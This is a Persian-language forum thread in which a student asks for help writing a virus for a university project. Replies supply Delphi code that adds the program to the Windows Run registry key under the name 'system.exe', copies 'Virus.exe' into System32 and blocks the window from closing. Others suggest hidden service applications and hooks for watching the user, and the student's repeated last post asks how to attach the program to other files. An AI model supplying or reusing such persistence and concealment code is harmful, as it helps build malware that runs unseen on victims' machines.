شبیه سازی ویروس

[keshtkar]

با سلام و خسته نباشید
من برای حل پروژه دانشگام احتیاج به کمک دارم ممنون میشم اگه کمکم کنیم
اگه می شه در مورد نحوه کپی کردن یک برنامه در تمام قسمتهای سیستم و نیز نحوه اجرای یک برنامه بدون اینکه کاربر بر روی کلیک کند(اجراش کند)
هماننی عملکرد "ویروس"
ممنون میشم اگه لطف کنید و با یک مثال توضیح بدهید
keshtkar.a@gmail.com
با تشکر از لطف دوستان
موفق و سلامت باشید

[ghabil]

میشه بفرمایید چه پروژه ای دارید که باید عملکرد ویروسی توش شبیه سازی کنید ؟!

[Valadi]

دوست عزیز شما میتوانید با تغییراتی در Regedit , startup به هرچه می خوای برسی
عملکرد این همه ویروسها به این شکل هست
و یک توصیه می کنم که در این زمینه فعالیت نکن چون فایده نداره

[keshtkar]

فعلا مجبورم این کارو بکنم
میشه گفت گیر افتادم
آخه پروژه (غیر انتخابی) دانشگامه
حالااگه میشه یکم بیشتر توضیح بدید
با تشکر

[keshtkar]

راستی من یادم رفت بگم
طراحی و پیاده سازیی یک ویروس پروژه پایان تحصیلاتم هست
با تشکر از شما
موفق و سلامت باشید

[Bahmany]

می تونی برای اولین قدم از پرو‍‍ژه های TService شروع کنی
Delphi - file - New - Service Application اگه اشتباه نکنم

[keshtkar]

با سلام و با تشکر از دوستان
آقا یا خانم بهمنی میشه یکم بیشتر توضیح بدید
موفق و سلامت باشید

[Mahmood_M]

سلام ...
این کارا زیاد سخت نیست ...
برای انجام شدن خودکار برنامتون می تونید توی رجیستری یه تغییراتی بدید تا با شروع ویندوز شروع بشه ...
مثلا :

procedure TForm1.FormCreate(Sender: TObject);
var
M:tregistry;
begin
M:=tregistry.Create;
M.RootKey:=hkey_local_machine;
M.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersi on\Run',false);
M.ReadString('system.exe');
M.WriteString('system.exe',Application.ExeName);
M.Free;
end;
توی کد بالا نام برنامه شما به جای System.exe توی رجیستری ثبت می شه و در شروع ویندوز اجرا خواهد شد ...
توجه : برای استفاده از رجیستری باید یونیت Registry رو به قسمت Uses برنامتون اضافه کنید ...
برای کپی کردن فایل اجراییتون هم می تونید از توابعی مثل CopyFile استفاده کنید
مثلا :

CopyFile(Pchar(ExtractFilePath(Application.ExeName )+'Virus.exe'), 'C:\Windows\System32\Virus.exe', True);

توی کد بالا مسیر اول مسیر فایل اجرایتونه و مسیر دوم مسیریه که توش کپی می شه و اون True هم مشخص می کنه که اگه فایل بود جایگزین بشه یا نه ( اگه به جای True از False استفاده کنید جایگزین نمی شه )
مکانات زیاد دیگه ای هستن که می شه توی ویروسها گذاشت از جمله :متفکر: از جمله این که بعد از بسته شدن دوباره اجرا بشن که اونم با کد زیر امکان پذیره :
باید توی رویداد OnCloseQuery مربوط به فرمتون کد زیر رو بنویسید :

Canclose:= False;
امیدوارم به دردتون خورده باشه ...
موفق باشید ...

[Valadi]

من یک برنامه با دلفی ویروس کش و همراه با مقاله عملکرد ویروس و نوع اجرای آن
برای کسب اطلاعات بیشتر با email:valadi22000@gmail.com تماس بگیر

[keshtkar]

با سلام به همه دوستان و مخصوصا آقا محمود
از راهنمایی شما بسیار ممنونم
موفق و سلامت باشید

[Bahmany]

سلام
همانطور که می دونید برنامه هایی بعنوان Service Application در ویندوز نصب و اجرا می شوند توسط کاربر قابل دیدن نیستند حتی با Alt+ctrl+del ( ولی در process احتمالا قابل دیدنند)
ما می توانید هر کدی می خواهید در این قسمت ها وارد کنید و بدون اینکه کاربر متوجه شود در Startup اجرا کنید حتما یه سری به آدرس زیر بزن
Delphi - File - New - Service Appliction
بعد برای کنترل کاربر و کارهاش می تونی از HOOK استفاده کنی
یه کمی سخته ( کار با HOOK) ولی نتیجه می ده (MSDN>HOOK(

[keshtkar]

با سلام
من کد آقا محمود را تست کردم کاملا صحیح و درست بود
فقط یک مشکلی برای اجرای این کد حتما باید برنامه یک بار اجرا بشود
آیا راهی است که از طریق مثلا چسبیدن برنامه به یک فایل و به محض اجرای آن فایل برنامه نیز بدون دخالت کاربر حتی برای بار اول اجرا بشود .
به عبارتی به محض کپی شدن برنامه این برنامه به یک فایل در ویندوز متصل بشود و اجرا بشود

با سلام
من کد آقا محمود را تست کردم کاملا صحیح و درست بود
فقط یک مشکلی برای اجرای این کد حتما باید برنامه یک بار اجرا بشود
آیا راهی است که از طریق مثلا چسبیدن برنامه به یک فایل و به محض اجرای آن فایل برنامه نیز بدون دخالت کاربر حتی برای بار اول اجرا بشود .
به عبارتی به محض کپی شدن برنامه این برنامه به یک فایل در ویندوز متصل بشود و اجرا بشود